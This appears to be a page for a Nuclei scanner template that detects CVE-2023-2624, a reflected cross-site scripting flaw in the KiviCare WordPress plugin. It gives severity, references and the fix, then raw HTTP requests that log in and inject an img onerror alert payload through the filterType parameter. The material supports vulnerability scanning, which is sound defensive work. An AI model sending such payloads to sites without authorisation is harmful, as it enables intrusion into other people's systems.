Skip to content

KiviCare WordPress Plugin - Cross-Site Scripting

ID: CVE-2023-2624

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,kivicare,wp,wp-plugin,wordpress,wpscan,authenticated

The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the ‘filterType’ parameter, leading to Reflected Cross-Site Scripting.

id: CVE-2023-2624
info:
name: KiviCare WordPress Plugin - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
The KiviCare WordPress plugin before 3.2.1 does not sanitise and escape the 'filterType' parameter, leading to Reflected Cross-Site Scripting.
impact: |
Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
remediation: |
Update to the latest version of the KiviCare WordPress Plugin to mitigate the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/dc3a841d-a95b-462e-be4b-acaa44e77264
- http://packetstormsecurity.com/files/174895/WordPress-KiviCare-3.2.0-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-2624
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2624
epss-score: 0.00111
epss-percentile: 0.43753
cpe: cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
verified: true
vendor: iqonic
product: kivicare
framework: wordpress
tags: cve,cve2023,kivicare,wp,wp-plugin,wordpress,wpscan,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_weekly_appointment&filterType=%3Cimg%20src%20onerror=alert(document.domain)%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '<img src onerror=alert(document.domain)> appointment'
- 'status":true'
condition: and
- type: word
part: header_2
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100a9ff992b3940363aff93b377952e054d88a0734aa8b4aa0dee799341c4fd6baa02207b5ad2f6ee4d5e6fe40d8c27a87ee6cd4791a279b54b5773a9b9af30f10952ff:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2624.yaml"

View on Github